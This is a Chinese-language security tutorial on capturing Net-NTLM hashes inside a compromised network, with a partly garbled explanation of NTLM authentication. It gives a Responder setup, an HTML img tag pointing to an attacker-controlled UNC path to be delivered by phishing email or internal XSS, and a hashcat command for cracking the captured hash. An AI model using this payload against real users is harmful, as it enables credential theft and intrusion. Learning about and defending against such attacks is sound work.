作者: r0n1n
免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。
0x01 前言
进入内网之后想获取运维人员(特定人员)的系统密码,在已经获得内网Linux或者代理隧道的前提下利用社会工程学或者水坑攻击的方式来获取特定机器的权限。
0x02 协议
1、NTLMHash:将明文口令转换成十六进制,转换成Unicode格式,然后对Unicode字符串进行MD4加密,这个结果就是32位的十六进制NTLMhash。
2、NTLM协议认证过程
1、客户端向服务器发送包含 “登录名”的请求
2、服务端接收到请求后,生成16位的随机说,这个随机数称为的 Challenge,把Challenge以明文发送给客户端;同时使用“登录名”对应的NTLMHash加密 Challenge,生成 CHallenge1。
3、客户端使用NTLMhash对 Challenge 进行加密,生成 Response ,然后把 Response 发送给客户端
4、服务端接收到 Response 之后,和Challenge1 进行比对,若相等则认证通过。
0x03 测试环境
Windows 2012 DC:10.10.10.30
攻击:kali 10.10.10.110(在实战环境中,可以设置内网隧道代理,让攻击机介入内网环境)
0x04 Responder中继攻击
0、若要自定义配置,则修改配置文件
vim /etc/responder/Responder.conf
1、构造路径URl:file:\10.10.10.110\2
2、使用钓鱼邮件的方式或者内网平台XSS的方式发送给对方,诱导对方点击,如下构造 img 标签让URL路径自动加载:
//test.html
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<img src="file:///\\10.10.10.110\2">
</body>
</html>
3、模拟受害者点击 test.html
4、在攻击机可以看到 NTLM 交互的信息,以及抓到的 Net-NTLM hash
5、本地破解 Net-NTLM hash或者进行其他方式的横向利用。
hashcat -m 5600 Administrator::GOD:21ed1f5c81f170d4:A56F30D70BA5F4FA024E3EF9217FE597:010100000000000000222F8D349BD7014AE122434F3905210000000002000800470050004F00550001001E00570049004E002D0042005300360055004A004E003400340046005500490004003400570049004E002D0042005300360055004A004E00340034004600550049002E00470050004F0055002E004C004F00430041004C0003001400470050004F0055002E004C004F00430041004C0005001400470050004F0055002E004C004F00430041004C000700080000222F8D349BD701060004000200000008003000300000000000000000000000003000009B104D06CF5BAF7410BA9791D62CB3AA09ABCF7B20F94B29DF932D51807CDB630A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310030002E00310031003000000000000000000000000000 pass.txt
0x05 参考文章:
1、https://zhuanlan.zhihu.com/p/74259859
2、https://beta.4hou.com/system/9383.html
0x06 了解更多安全知识
欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!